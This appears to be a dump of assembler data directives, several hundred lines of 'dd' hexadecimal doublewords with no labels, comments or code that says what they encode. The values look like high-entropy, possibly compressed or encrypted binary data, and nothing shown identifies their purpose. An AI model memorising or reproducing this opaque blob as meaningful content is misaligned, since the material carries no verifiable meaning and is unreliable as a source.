dd 6F72B2ECh, 0DB7442C0h, 3EAD7901h, 923FE6FBh, 9707906Fh
dd 0A8D2C318h, 0E066107Ch, 3980619h, 0AC258AF2h, 9189A72h
dd 84D027DAh, 1FD2F839h, 18ADD1B8h, 8E12E8FEh, 2A9220C3h
dd 51E81826h, 2BE85817h, 28FD38CCh, 18066E72h, 0B19B0093h
dd 0F84908D2h, 6F28733Fh, 5DF12108h, 54008694h, 0FE7E2E97h
dd 8439E029h, 9A5D3EC0h, 0F463409Dh, 124C8B03h, 30030C93h
dd 0B24096E0h, 0AA42D071h, 0BE608CDFh, 231859B8h, 13408D94h
dd 206D72E1h, 0F2469E32h, 0E0BB7580h, 80C0FAA5h, 0C072C434h
dd 6E9400B6h, 0F161D312h, 8B147386h, 0F064ADFEh, 30DE5BCFh
dd 0D488291Ah, 46050C0Dh, 0ADFFA457h, 1CF603Ch, 901C856Dh
dd 0FC742355h, 1228A56Bh, 5C87FC54h, 6B3A9382h, 238B6089h
dd 99E0D14h, 5B393746h, 0C045033Ch, 40DCF3Bh, 7A6CB438h
dd 0A0487A5h, 2890D070h, 234025F0h, 21FD0754h, 67819746h
dd 0FE984247h, 2A0A74B4h, 0F496244Bh, 0D1789766h, 4AA07438h
dd 0AF608F83h, 5CD49439h, 74337C12h, 0CCB30F4Dh, 580486D8h
dd 1F4880C9h, 0E3E89E3Eh, 93156BB0h, 0E088FE6Fh, 3026501Fh
dd 34D828C3h, 0FCA0D51Eh, 0B156CC2Eh, 71EDC188h, 80C60152h
dd 96BED4A4h, 1FC2F2A5h, 4A938654h, 0DB88B1F3h, 0C5944ED0h
dd 0FC5BC928h, 78017A31h, 53D07122h, 865D3A1Fh, 0D850C849h
dd 945BE9F5h, 447EE501h, 205C36CFh, 0A5EEDD08h, 2E403218h
dd 9651850h, 598B72E1h, 0CE99B003h, 825D0C7h, 95FA330Fh
dd 395A30C4h, 0D0DA5C83h, 1052E0h, 3AF3850Ch, 6738960h
dd 0D3152278h, 0A048F65Dh, 3FDF5A5Ch, 34C89472h, 8062A248h
dd 0CC4064F4h, 8C363E0h, 89131B17h, 908ED04Ah, 0F36E6F8Ch
dd 5C08706Ch, 0B0A468D1h, 0F0845582h, 5468C7DCh, 0D2E0E15Ah
dd 1960BAC0h, 40C82807h, 6EF20A30h, 8486682Eh, 6828F083h
dd 0D1D19057h, 987AB3F8h, 0A03251CAh, 60AF4B0h, 0C0B3188Eh
dd 2528A8D3h, 8C06ACCEh, 64774636h, 813CAD50h, 0E109BBD6h
dd 94B880CFh, 53189378h, 609E4C49h, 7C8F440Dh, 3B41F48h
dd 5644E85Eh, 34980237h, 93131AF1h, 0B30FD560h, 0C0A02D57h
dd 0B36A88A9h, 284490CAh, 269CE6D4h, 0F80808F2h, 0C5E4D8A1h
dd 3F60B449h, 0B1805091h, 817CFC56h, 2D5EE569h, 0B35448D6h
dd 270ADFCh, 0EB5A65F5h, 0E9B4F0A0h, 0D3151377h, 0A06CFCDEh
dd 31153577h, 54683889h, 0B33888EAh, 0E06C21B9h, 0B4608B77h
dd 0C8F488A9h, 0F214A513h, 58CC6D90h, 29D45013h, 22F0AA60h
dd 776E61h, 0B2A57BF4h, 13882548h, 89D3F01Dh, 86D1E30Eh
dd 1D1811F3h, 3C24B553h, 0EF81E38h, 838F7FB3h, 895FDD83h
dd 30AD47C1h, 0A74C8B68h, 4711824h, 188E5310h, 82452E1h
dd 747C7E32h, 7399D317h, 60944000h, 582472FFh, 0AB139C16h
dd 0B9AC031Ch, 43E09E44h, 34385DC4h, 9ED0D7FBh, 0E6A40A02h
dd 934C48D0h, 4C32EAB3h, 4D74D84Bh, 131DCFFh, 3027D1D1h
dd 0E4AFE410h, 1761B882h, 345068F3h, 1DC09096h, 0FB2EBF2h
dd 6038C092h, 10137BB0h, 34153h, 33D9AF13h, 0F308FFE8h
dd 0C2C7DA83h, 8880AC18h, 0B4660E4Bh, 8F5B724h, 335F2AF0h
dd 0D4D94080h, 1224709Eh, 97F8FC04h, 9110B0DCh, 0AF150AD4h
dd 23C82488h, 0CAEAC0A4h, 7491B043h, 7011B90Ch, 94FD574Bh
dd 84511581h, 0B4398597h, 940B983Ah, 0B30C010Ch, 8040F081h
dd 245E8748h, 0F884E4B4h, 0F0FB8141h, 1A804208h, 5B4A07Eh
dd 57589085h, 40C08003h, 0C37F3BEEh, 46BF480h, 87D2A584h
dd 209CC2A0h, 2598746Fh, 92ADD7C0h, 45813228h, 0FCA5CEC8h
dd 63887C08h, 0A8B4F08h, 7B340665h, 4D3A786Fh, 0AA730C02h
dd 4CBA0801h, 271BC4D4h, 0FDDA6070h, 0EA0A8CBCh, 0B4FCBE8Dh
dd 6E86D486h, 50A76148h, 94D3E293h, 17BC3208h, 941F4513h
dd 0F128775Bh, 84417DDCh, 0C0951EE7h, 0D2F0A42Ch, 0A49130Fh
dd 1A740C40h, 57CB4804h, 0A783A035h, 0CFEA42E0h, 8AF61401h
dd 7C659892h, 821552B8h, 0DDC77DFh, 388B0AB4h, 87184FD6h
dd 0C7A5E9D9h, 0B313F8DDh, 84B987Ch, 0C9C2A37Ah, 871B7789h
dd 0BC0B183Ch, 0EE5D5CBCh, 9DAC7A3Eh, 5EA444h, 295F342Bh
dd 0C40FAD94h, 0B3ECB77Bh, 0AA5E0E07h, 6ABB7641h, 51B01829h
dd 0B9009AD4h, 34295EDAh, 16E1CF35h, 549AC92h, 81620500h
dd 93794720h, 68039E08h, 247BF3F2h, 0B580508h, 8887AA12h
dd 0FC8AF9B2h, 52183006h, 1490541Ah, 285D6631h, 88309BC7h
dd 10EA627Ch, 0C416C3Ah, 59AC28A3h, 0B5F700A8h, 4D9383A4h
dd 0F47D74BEh, 3C898DEh, 33F81095h, 0C0A473DFh, 0D45E886Ch
dd 54E8B0E0h, 0A410EB29h, 3EC5A3F0h, 0F848A456h, 1C131416h
dd 0B026CE54h, 825D81Dh, 47642B53h, 0DCA787D8h, 93175780h
dd 0A8A06C1Fh, 0F20E77B4h, 1546F45Dh, 0D6B1A01Ch, 0F9CC1270h
dd 0ED240058h, 43B45DC3h, 14E338C7h, 0D03D3153h, 0E252A8Eh
dd 19FBBF1Dh, 224E7423h, 0E9128098h, 2C478302h, 9441E824h
dd 8D2E0418h, 97DA709h, 99358089h, 74488664h, 341B522Ch
dd 906637C7h, 0A8A58763h, 49162805h, 4C38A42Ch, 2F240CBEh
dd 0C8308894h, 8CF93706h, 0E93815E4h, 0A22D031Ah, 187149C6h
dd 383269A0h, 7856DF44h, 0E1409E6Ch, 90CC7561h, 0E6091812h
dd 0A37D38F7h, 605A970Fh, 0FBD5C35Ch, 4F15A05Bh, 0B5C50122h
dd 7CBB26BCh, 20BC71h, 9A98995Fh, 297E2C6h, 8E2E24C1h
dd 0E88EE4D9h, 14651861h, 0B2F03A03h, 0F81D035Dh, 98D0EDA3h
dd 4B7D5A89h, 0BA03001Ch, 2149E1B2h, 74BC0FF6h, 654C90EDh
dd 1CA71A70h, 0E3308801h, 1C000B99h, 90032394h, 324D871Ah
dd 0DA411011h, 0B5FFF08Fh, 65382CACh, 947C003Dh, 40DA6E0Eh
dd 80749256h, 0B798D37Ah, 8F78C058h, 8EF213E9h, 0EEE80F71h
dd 0A0345B03h, 0A031C6CEh, 0F90EFC2Eh, 14E78C8h, 0D9AF32Dh
dd 87C05327h, 54193310h, 4F6904CFh, 7318350Ch, 0F5161C00h
dd 0E510E312h, 39D93C92h, 3C963207h, 7084AEBh, 0C2E51138h
dd 0CD001C67h, 0F85458AFh, 26A7007Dh, 8F7E1E16h, 28751DD6h
dd 5F3A8600h, 27129320h, 6A4D06B2h, 38E913B0h, 7A2DD410h
dd 3C5727E0h, 1355991Dh, 5DCD5280h, 2C84F3B0h, 14C858A9h
dd 0D2A01C79h, 9A44A08Ch, 7676F472h, 706803AFh, 69F633B0h
dd 2024B3A0h, 251F5898h, 23AAF1Ah, 0B9D3A95Fh, 3968B4AAh
dd 0E83A9187h, 60F7C841h, 9953B018h, 0A52E1438h, 6DEC8168h
dd 8C77608Bh, 98FE3238h, 88E05453h, 5490C01Fh, 0D45F0DC1h
dd 53987367h, 93B03000h, 983682C3h, 0D5B68D0Ah, 0D286B433h
dd 0F2E825F4h, 398AFAAh, 6AC5E025h, 57F2393Bh, 0A1A6C1E8h
dd 0C9805632h, 965AC092h, 0AF57C9F4h, 93858180h, 69806F27h
dd 0AF5FCAB2h, 0D003CF3h, 0E6C372E5h, 90B1D2ECh, 0D1121E34h
dd 679207EBh, 2332C169h, 0CA1092E7h, 0F1C7Ch, 5C276E53h
dd 55522C91h, 0F464AB01h, 0B3AF7749h, 93D07CE9h, 0F310C30Ch
dd 9FB0D8E4h, 0D005B82h, 0A490EA3Fh, 65EA15Fh, 2143015h
dd 94E872FEh, 0EF3A4900h, 3797C383h, 5E7D0295h, 0CDFA48Dh
dd 0A91E1896h, 1858CE80h, 3D402911h, 34B0AF48h, 0D8A92640h
dd 93E2FF39h, 2BBC31Ah
dd 5D7A1F90h, 56002895h, 796CBC5Dh, 0DBE43Bh, 0DD95324Fh
dd 0BF0CF616h, 750ED3Ah, 134243DFh, 0F9A0D40h, 89990F9Fh
dd 0D740BFF1h, 8162631Ah, 0B8307CADh, 5446BD68h, 443D341Eh
dd 8C04E7Ah, 0D703C7Fh, 4D5F011Fh, 9116031Eh, 0AE65F0D8h
dd 0D7BFF000h, 779FF16Ah, 1EE37C9Ch, 0EDF3650h, 3F864A30h
dd 5AF18861h, 0B4F064A8h, 6F589D28h, 0DDB85A04h, 0C23FD806h
dd 4E03F8F5h, 107F0FA4h, 7BC6C7F2h, 4AFF0010h, 7A431F6Ch
dd 6230E9AFh, 0F3DFA817h, 5120C093h, 795FF0EBh, 3F0EEC74h
dd 8CF1DB59h, 31DF10D4h, 78D0C833h, 0F95FF09Fh, 1F18B07Ch
dd 0CB18A2BEh, 56E8C606h, 0BC312005h, 39FB10D8h, 38C32087h
dd 8CFC6DFh, 0A83C24F8h, 0C88B39E2h, 82F11200h, 0C8012C79h
dd 0FD1CBED8h, 5F846750h, 0D71740Bh, 13020FDFh, 0FA52F06h
dd 0F0A27410h, 14A67841h, 846A30BFh, 0ABFC6020h, 86CAA0A3h
dd 0ED8E84A0h, 0CC6F9FF0h, 38DD8EC0h, 80BE0808h, 2490BD65h
dd 9F8CED50h, 9880D8B8h, 0F5145187h, 19F8E45Fh, 0CC09B31Fh
dd 3C9FA440h, 4AE0C484h, 0C8108069h, 0BF12E2A9h, 8079811Ch
dd 145C0042h, 0DF431F4h, 0A7C7FF14h, 0F0E631F8h, 0D88C34BFh
dd 1F10D1E2h, 0F5E09F54h, 6FD8D050h, 0CD7F01F1h, 10C2C098h
dd 9D05115Fh, 0D4CBDFF1h, 3852E006h, 69573130h, 41371D10h
dd 2282CAE0h, 8E0EA69Ch, 80BD7FD4h, 0A3668A7Fh, 80410BB0h
dd 0F664980h, 0F7F8C428h, 0F07682Bh, 107942F0h, 33A09563h
dd 9400A15Dh, 789914A2h, 0EB6F3E4h, 5AC946E1h, 9DE0268Eh
dd 0F6BE8632h, 28A64929h, 0E5E00DC7h, 86846285h, 0B734403h
dd 0C82086E2h, 5AE061Dh, 5EE649F5h, 0E94C38C3h, 0A401ED47h
dd 6E20CBEh, 26A0C3FBh, 10C50E83h, 81FBD1B6h, 0F11C69E9h
dd 0A60880A4h, 0E61D9FABh, 0E2F0C57h, 0C6C85106h, 31A1C904h
dd 0E6C10866h, 684F8526h, 0C2B22511h, 95F40F04h, 0B5190EACh
dd 6A6480B1h, 7966E20Ah, 29040A16h, 54A8F479h, 2440B556h
dd 0FE02ADC4h, 95F48A26h, 0DE2108A4h, 539624E0h, 0A386141Dh
dd 0FDA880F5h, 3B07FB23h, 1C403901h, 0D0D0C2C6h, 0F652A366h
dd 0A0D9A288h, 7D161144h, 22B628E4h, 3D8831D4h, 0E0684348h
dd 0F5525306h, 0B365A18Ch, 44518E09h, 461D8396h, 8249194Eh
dd 5F61586Ch, 0B1A0194h, 9ABF76FAh, 0D3420h, 8D377E93h
dd 4A1761B5h, 0B700A774h, 0F766539Fh, 54F35h, 64B6970Ah
dd 76B250FCh, 18E50703h, 0D85BACE2h, 321EF81h, 31376132h
dd 0BFA16652h, 1C4A50h, 0F228BB4Ch, 73E65EF0h, 8132087Ch
dd 770A654Fh, 6A783879h, 61282A98h, 12AF201Ch, 4E55B714h
dd 3958E138h, 51F40F1Ch, 4A0A70AFh, 6F601CA4h, 16A52CEh
dd 78EBFA17h, 0D02E7997h, 305070B7h, 0D0EDFC80h, 88A07EF7h
dd 8B05E577h, 51A5577Fh, 18088C2Ah, 0ACA2F795h, 7FD7CF07h
dd 0CB0376A3h, 0C670A791h, 66423778h, 8EE7019h, 500BD715h
dd 2422E068h, 306154F5h, 7789242Fh, 88260C6Ah, 0A5009BD8h
dd 31C7576Dh, 7C6EF778h, 6B970321h, 0EED6A374h, 8974D175h
dd 1F4C371Eh, 34FDF705h, 0E090E079h, 968FA030h, 0E58C059h
dd 0E757620Dh, 0F8F7D0C1h, 0F0C30F94h, 744008C5h, 136B0010h
dd 50A2B38h, 187B27FFh, 7C8D4A00h, 88D6878Fh, 0D9F40085h
dd 0CE64F8EFh, 0ABB0FFCDh, 0C2800400h, 6FE00318h, 1D60F0FDh
dd 0C82A4h, 800F9CCFh, 70C63A66h, 70089005h, 71117C7Ah
dd 3E0F8B1h, 200C8308h, 2B7C61Ah, 4894C49Ah, 630E302h
dd 18D35F49h, 41064758h, 0FCEB9FFFh, 986C3A80h, 7927400Fh
dd 0D116E007h, 0BCD69FCDh, 389C3878h, 80A82812h, 0C3FAC011h
dd 1C8E6CA1h, 700863B8h, 920463Fh, 0DDF1F40h, 0F6813E30h
dd 9BA01275h, 0A5788EE8h, 481F86E9h, 0C6EA8388h, 984B5198h
dd 1A8DD0h, 0C7D8003h, 56A9C005h, 0D63A1678h, 3CA03D5Fh
dd 2AE003F5h, 0DE1FFCF8h, 1ABF1808h, 0A71D3819h, 96C230C0h
dd 7429C004h, 61201EADh, 0C570387Ch, 78A008h, 5EE140B4h
dd 0D06200Fh, 0B6801002h, 0DCB0E010h, 842A0E20h, 8715C083h
dd 0E88338C6h, 0F5458A0h, 40624048h, 285EFAECh, 90546E8h
dd 27B2010h, 1D64A0F4h, 39A6EC83h, 240860C1h, 3B402200h
dd 8068C314h, 10708FFBh, 6D6030C3h, 55102891h, 0DC56F0D4h
dd 1810F08h, 8D9A2003h, 8F1B8010h, 0E0081430h, 12780CCEh
dd 2CFE5624h, 1B01BC3Eh, 83104F20h, 0A0203CC8h, 24F8ACA8h
dd 0C04FF8Ah, 6B089503h, 0C0830DFh, 10A112A2h, 4456C00Ch
dd 589E86C2h, 40EBE833h, 9C5F28FFh, 9073E8F8h, 0A3C07D90h
dd 139A7E8h, 86BE7F00h, 0CA599020h, 68C9209h, 0E05F37E0h
dd 0A09CAE50h, 5EA0A154h, 74B00850h, 283C8383h, 189C5209h
dd 282A7540h, 48C62995h, 504038C8h, 0E120D0F4h, 7B80308Ah
dd 0A9033EA8h, 0AEC010FFh, 2B610878h, 90382018h, 8E73388Ah
dd 0C67E09ECh, 34081095h, 3878E191h, 418C203Eh, 2AC4F148h
dd 12208450h, 57022453h, 46A71258h, 0B89BF574h, 3734D049h
dd 0DF0208ADh, 0B2144181h, 994F8447h, 0A0849FC9h, 0CAC5A440h
dd 9BBE8218h, 0DAF32058h, 3728D8EFh, 3998C4F4h, 0ED24BFE8h
dd 0A21290C4h, 5B20B804h, 0FC485h, 14004A3h, 0CDA09080h
dd 0E1BCA1B3h, 0C3C65834h, 507DC0A8h, 0A5AEB814h, 0A6F7189Ch
dd 99C643A8h, 4DDC5130h, 38A198A0h, 4C682081h, 7E2410EEh
dd 21C92DCh, 0C7BD60C0h, 0F8C42CB4h, 9871B156h, 353F0147h
dd 8D5440CAh, 0C07493CCh, 2974F86Fh, 10C01472h, 0B24995F2h
dd 7850C4B9h, 3C109F66h, 7E898551h, 0BC05FDCBh, 5C68C830h
dd 58DA0F6Ch, 84344341h, 7450E868h, 0A006DB04h, 961F732Dh
dd 25287C41h, 32DBF63Ch, 285830E1h, 0DE897868h, 6124BE33h
dd 5010ACB8h, 0BE0CC7BCh, 0E03C9A15h, 107F4998h, 112060F4h
dd 68FEF776h, 1BC0BC58h, 0C008C350h, 0F42A37C1h, 18330324h
dd 0DA86A563h, 0D932D898h, 6E064072h, 0F775B46Fh, 3990604Eh
dd 73897D23h, 3900BE7Bh, 52F7D630h, 60A2557h, 21B17ED4h
dd 0EB17700Dh, 0DA0050F6h, 63A5DFD6h, 40EA75h, 0D9017DE7h
dd 611FCC45h, 9A069279h, 564ABEA7h, 0D6EF6118h, 0E0604CCBh
dd 2400D76Dh, 0D4FCE946h, 0F3BDD89h, 780D44A5h, 92B9B61h
dd 0C26461CBh, 21308040h, 0F034661Ch, 0ADFEBE42h, 9F2C438Ah
dd 0E200DB47h, 1CAF4677h, 80FDDC5Eh, 7BD5BAF8h, 8C000C78h
dd 110962DDh, 130D9B6Dh, 7D2B61h, 0C3C6D808h, 0E5032D39h
dd 4ED32CAFh, 908C0D4h, 0FBC400A0h, 67CE82D9h, 8A00C32Fh
dd 0F87BC656h, 0E434C1h, 0EAC033DBh, 0BAAA5042h, 0B45FCE03h
dd 0D095C957h, 0D48FCDh, 1DE50EB0h, 2C64E9F4h, 0FF144EE4h
dd 0F90FF1h, 8D778696h, 3E7D36Fh, 0A73A974Fh, 0F488D6C6h
dd 1200A1D7h, 602FE2E3h, 0F45AF99h, 93FF768Bh, 0E70044CBh
dd 435990EBh, 0E501AD00h, 8CC5B49Fh, 0FA4005Ah, 854B9BDBh
dd 45008672h, 0C7E4C94Ch, 3F79B616h, 0BD874D20h, 31AC10B7h
dd 0DF76891Ah, 0CC6670C8h, 0CE598300h, 12DE02CFh, 5C5300A9h
dd 0BAE18D5Dh, 0D5002A39h, 84C12E9Ch, 0C79D19h, 59DBCA7Dh
dd 64FEE7CCh, 873D3C1Eh, 6A2E5407h, 1579F400h, 0F1F3EF32h
dd 25C489F0h, 0D2690048h, 0C2DE09B7h, 581E606Fh, 949FB839h
dd 0CC77CA80h, 0D3388Fh, 0A8A20F2Ch, 0EAB5FBBAh, 72A1E100h
dd 0BE689D24h, 0D1221F56h
dd 0D54840CDh, 7FE3E877h, 6FA78C00h, 5E34557Bh, 8DC20014h
dd 9D2EE485h, 8F00F9E2h, 0DB494356h, 0FB976B1h, 0FE5BA7Bh
dd 9E3302A0h, 0E60F32D3h, 0E0B484BBh, 0FE5E165Bh, 4F8300F6h
dd 932E45F3h, 2300BC0Ch, 7B6024C8h, 383FD722h, 1E3E2649h
dd 81B3D600h, 0C97F85BAh, 0C19D2B00h, 4355F3BDh, 666D3F7Ah
dd 0BF8700FEh, 994C0FFBh, 0DD0019CDh, 1A0BD6ABh, 0D7C731h
dd 0CEB46D6Bh, 9255D3D8h, 0D5E8C000h, 0C1173FD6h, 57FA0063h
dd 946DA224h, 1A0048DDh, 19ACDE9Ch, 56ED52Dh, 0B85C932Fh
dd 0A0368050h, 4C001D7Eh, 0A61FEC0h, 0ABCBEFh, 0A15DB43Bh
dd 339CE201h, 68835400h, 0ACFDCFDDh, 28E701A8h, 0AB9BAA3Bh
dd 33C9CF50h, 30FF8F5h, 0B8019F00h, 187962FAh, 0C394013Ch
dd 1CF477D1h, 527F497h, 0CBE0530Fh, 26C0048h, 0C1E9DE8h
dd 3FBC4601h, 80008270h, 76BBB2A8h, 0FF039A25h, 1DF5D840h
dd 92FE08DAh, 990E829Bh, 0C5744Fh, 0B76A4139h, 0EF76B89h
dd 0D9FD27F9h, 9091AFA7h, 0A7761B67h, 8001F43Fh, 0C5421F12h
dd 8C7A52h, 53199BD1h, 0BD5B8679h, 0AD746500h, 0B9FEC705h
dd 887F80h, 0A7A4EE77h, 0D54B47DAh, 4636A500h, 997EB92Fh
dd 356B0031h, 0DB54CA1Eh, 0B20773C7h, 8A9ACCF3h, 7A140B40h
dd 0B38901D2h, 3E321BD3h, 0F3A7E1E8h, 0F9498800h, 40671035h
dd 3E71737Ah, 2E8019B1h, 8DE90AABh, 57391AF1h, 0FBCA8034h
dd 0C7CE45Ah, 51A00008h, 0BB5E5335h, 0D1CE24Dh, 0FE80CC30h
dd 58DD82B7h, 34900E91h, 0FA207E0Ch, 0E86A59A2h, 0CAECD800h
dd 0F36FE3Ah, 0A6A0003Dh, 0B20A3440h, 0E9E6A958h, 4E25B901h
dd 8A39277Dh, 78CDCh, 0A6D92E6h, 60023BA1h, 0D19D3400h
dd 0FB3FEB10h, 388C0E98h, 8640EEF4h, 36ECB767h, 9FF8B200h
dd 0D9075DA8h, 0A5C50FFDh, 4EC72C96h, 23C980B3h, 12071C4Fh
dd 0EB3F70A0h, 0C66F65E0h, 594A0739h, 0B03361B7h, 0B0A3246Ah
dd 3B2BC703h, 0D8C6F0A9h, 4E80BEh, 22CB3559h, 77BA2DACh
dd 953B057Dh, 9A0C803Eh, 886309C0h, 939B072Eh, 97CCBCDFh
dd 2D136080h, 985C79FEh, 2CD3487Dh, 0C4003CA9h, 1091B7ABh
dd 0A14E021Bh, 455AFCC8h, 0FAA36C60h, 1E6D4A48h, 0C10A95DEh
dd 3000A179h, 0CB3113E2h, 3A4000BFh, 0FDA1BB90h, 0B200376Bh
dd 45B8DEE0h, 1C466EA3h, 4201826Dh, 432E97D8h, 31AA2B60h
dd 57793603h, 90E0FE12h, 4BA88Fh, 3E4A8CFAh, 9AF86643h
dd 0FD9EF607h, 0EE00A9CAh, 686736h, 0A5226EC9h, 0F2C328A4h
dd 0F3FF1916h, 40AADF07h, 8D98FA00h, 832A02EEh, 7BA9DC34h
dd 30BC2AE0h, 0B63CA100h, 0D16FE018h, 72EF03E2h, 20445C1Eh
dd 0E8BD4CC9h, 881D361Fh, 0D5D66ACh, 76FEBBC0h, 7B2A51h
dd 0F9E8D42Ch, 0DAAB70A3h, 0C599F303h, 0A3F88680h, 7FAC05Dh
dd 18B86C05h, 8390FFB4h, 6E80FB00h, 0FC7E0E4Ch, 90217064h
dd 0A0C9003Eh, 3539918Dh, 6A73CFE4h, 53BA6F00h, 60EAEE2h
dd 0C816009Ah, 9CD046Bh, 0B9F09D20h, 7312EB00h, 0F23D2D4Dh
dd 7FF900C2h, 0E51BF36Bh, 2A70EDD9h, 2E3B7100h, 0FF312DA1h
dd 0B4560010h, 0C506C6EEh, 0E2072641h, 0CE5D2BAh, 1218C8A0h
dd 0A1280013h, 491D5D3Eh, 0F700ECD4h, 540A3FEAh, 1C406E0Dh
dd 41CAB1C0h, 0F2A4223h, 8610CC1Bh, 84C84800h, 641A7855h
dd 0B6F71D38h, 0B8840D1h, 1EE1D6CEh, 0F52DA900h, 0FF9A1801h
dd 37AD00F4h, 0E02BA197h, 6A0008A3h, 0F97E1953h, 0B3C401h
dd 90E142B0h, 408C27B4h, 0D60B5206h, 1B96101Ah, 28676F92h
dd 2C6D68D0h, 0CA483B60h, 30A3973h, 6BF75D18h, 5101A872h
dd 5A7ED9C0h, 16D83F10h, 1C910085h, 0E66D5BDFh, 4200BE24h
dd 934D3CE5h, 24AAF75Fh, 0C06713h, 3F2F9B11h, 5001B92h
dd 0A9A006A2h, 0E2BEEFh, 0AD69BB71h, 20F313DDh, 4ECEC200h
dd 821059CAh, 817D010Bh, 6367F960h, 9AE2206Ah, 81C04838h
dd 0A3262CE2h, 7730A676h, 0BFD40177h, 11E81828h, 2F7A207Eh
dd 0C6E99900h, 103A6043h, 5ED100A6h, 93838250h, 0E20B5ACFh
dd 80583BADh, 0ED1EB970h, 2CCA00DFh, 6C562BA0h, 0F41D680Dh
dd 1040E4E2h, 0A9DD74D0h, 475900B0h, 9718D734h, 0E138F07Fh
dd 0F5300AFh, 0EC0F270h, 71053FBAh, 0B244280h, 22F0B151h
dd 6573F61Ch, 0FBEE74C0h, 0BC1829h, 35B7E815h, 710FE1EFh
dd 0D1028AB0h, 7CCA3F4Dh, 4E0A0FFh, 0E6263BE9h, 6F2B070Dh
dd 0A092E754h, 67C4A1A5h, 6BEF8E00h, 0ED5D080Bh, 0F5EE6C1h
dd 0D28F1A1Dh, 412C40A0h, 0AB3BF28Ah, 2F5C7C78h, 8BD103C3h
dd 0C119FF8Ch, 18E0C076h, 0BFAF0733h, 0E0C1CB4Ah, 7471627Ch
dd 9340E203h, 25CCF59h, 88A62E58h, 78400B0Dh, 70014C8Fh
dd 2796482Bh, 40E468EFh, 60A67EE6h, 2C083061h, 87065E1Bh
dd 9BDD594h, 1E6F0038h, 7B68DA2Ah, 9748534Dh, 30027366h
dd 39B2BDDFh, 0CB73E087h, 7C4416E9h, 1B59005Ch, 3DD129FDh
dd 0EE79DA00h, 992B59BEh, 19973BDDh, 6E1B980h, 0B7FFC7ABh
dd 5581CD1Dh, 0F8FC00FBh, 0EECBAC7Dh, 0A4DC1850h, 9A7F8AB6h
dd 1F5DEB0Fh, 0FA958003h, 0A5AC31h, 52BE5437h, 80332CFFh
dd 0C055D971h, 20B40480h, 0D2295904h, 0C0B682Bh, 300846DBh
dd 96FDAB80h, 0FB03B672h, 95DD8DA9h, 1B5DA937h, 0A0B0B4F0h
dd 44B2990Ch, 0C14277A7h, 7F849D21h, 854AF96Ah, 0DE268824h
dd 0C4A4945h, 0B18424CBh, 0CF45AA64h, 0F50C04CCh, 0A76C224Ah
dd 0B10EFD18h, 10B7427Fh, 0FA8449E1h, 0A2E522E6h, 13C07B0Ch
dd 0A6C832FCh, 991AD60h, 5CEFC9CFh, 2CCB8000h, 0FD05961Eh
dd 19E47E65h, 0BB10A840h, 90D1EA17h, 0DB20122Ch, 898403Ch
dd 8C104578h, 63EAB901h, 1E969959h, 0DC173981h, 0F96E1653h
dd 1CC841FCh, 9F37D0D3h, 0BF447500h, 1E61FD04h, 0DDF7003Bh
dd 5029726Ah, 4E3358F1h, 0F3CF682Bh, 21B7A0C8h, 0A6083856h
dd 35B55180h, 4846F9DDh, 55E34402h, 0A0DAD59Bh, 729AB74Ch
dd 3D4090BCh, 999C0985h, 3B1C027Fh, 49E00FB9h, 0AC73FE97h
dd 7719BEF8h, 0C8E0B8AEh, 5529E940h, 0D8020339h, 7F30D65Fh
dd 1F5EBDF8h, 26C23502h, 0B9850B32h, 3D1A1B1Ch, 0F60EBAB7h
dd 0CF2EF403h, 0F94406C8h, 0AAE75D6Eh, 0C0BE11h, 44E8EDAAh
dd 77C21814h, 0B38036C1h, 2980586Eh, 43C459ACh, 7F80F30Fh
dd 0F3B055h, 82DF8E04h, 8DE605F2h, 7552237Ch, 0BF51075Ch
dd 89E08393h, 0E8186116h, 80850B23h, 650058EBh, 9DDC316Bh
dd 5E694D0Eh, 0E3664033h, 4AD6E0EAh, 544CBC65h, 0A612EFC0h
dd 30494967h, 44100175h, 4DC058D0h, 0AB14A06Bh, 0E4290068h
dd 755C9207h, 1D3C4E78h, 7D29F769h, 67058DDh, 77658D5Eh
dd 1F994C38h, 804FD789h, 0DDBDA65Bh, 0EA132175h, 40405A38h
dd 0A22BD49Ah, 5C8D2099h, 1240FF7Ah, 3DC7664h, 55EB9C6Eh
dd 0C9D0F286h, 32008A43h, 2ED8BAD2h, 72AA410h, 11CF3F9Fh
dd 65E59006h, 0E400F702h, 86A11C2Dh, 4807F37h, 28C8476Fh
dd 12DEC0D2h, 100011CEh, 8F0E506h, 0E0FE8349h, 0DA423E63h
dd 0B2852780h, 0F20AFBBAh, 8348C81Dh, 0DEB08800h, 6329CF0Fh
dd 80FA9049h, 38000877h, 8126C593h, 0C03A8407h, 0E40DBB30h
dd 2100CE98h, 0AFC7D989h, 8D620Eh, 0CE1BF19h, 54E2060Bh
dd 0F000797Fh, 74AF123Fh, 860250Eh, 0DF2B5F89h, 0E1D49B03h
dd 0F2A81811h, 0AF7198A4h, 0DD069407h, 6EA00F0Eh, 0D91145h
dd 0B05CAD15h, 89F5AEB5h
dd 0F4028F07h, 0C6206094h, 0A5018E90h, 5CA05844h, 620808CFh
dd 81508EE3h, 0AEDB1C9Ah, 1B689D8h, 0DDD8A2F3h, 0D89070D1h
dd 0FE004658h, 0B23F93EFh, 2C75B86h, 9A69BA6Eh, 676047F1h
dd 415CDD64h, 7C771988h, 5D702C40h, 9CCF00AFh, 470210BDh
dd 30CC8949h, 9293280Bh, 8BB50010h, 33F16FE5h, 120794BAh
dd 7941FD0Bh, 2A5084CAh, 0DA14329Eh, 0A0801246h, 84F52DD7h
dd 0F8AE1630h, 38B08Fh, 0A6478668h, 1AB7988Bh, 0AFEAD00h
dd 0DF046DB6h, 6AE609F5h, 42781AFh, 66ECF07Fh, 6500253Dh
dd 0BA2DCBEEh, 29704033h, 81D00145h, 42F130B3h, 6BB8D3CBh
dd 4048A468h, 0C900AE64h, 1D76E224h, 8B1FBAC1h, 300BF54h
dd 80050EA4h, 7BB37C7Bh, 0B0FA0E9Fh, 7D8197C5h, 22AEEB9Eh
dd 3032B80Ch, 50D954F1h, 0F449FD39h, 76270004h, 0A761AB1Bh
dd 0C15714FCh, 6AEFC8Bh, 0D9A7B0FBh, 0B28D1FC8h, 0FEF46AFFh
dd 1BA005CFh, 38C86F76h, 4D0AA780h, 44EF7D1Ch, 8D94D5Ch
dd 563F0801h, 95F53BA9h, 91C40528h, 25C08390h, 0DD0CA553h
dd 3C8F2043h, 10189CEAh, 0D3471146h, 81B4DC51h, 0C87FC411h
dd 2F10F232h, 7E42B6D3h, 1B201720h, 19CA2A80h, 159D0FC0h
dd 7900B39Eh, 2E2A0520h, 33C76400h, 454BFF0Dh, 405B48F3h
dd 0E580F93Fh, 0E7D97D8Dh, 6A3C6398h, 4BEA9E69h, 65E10180h
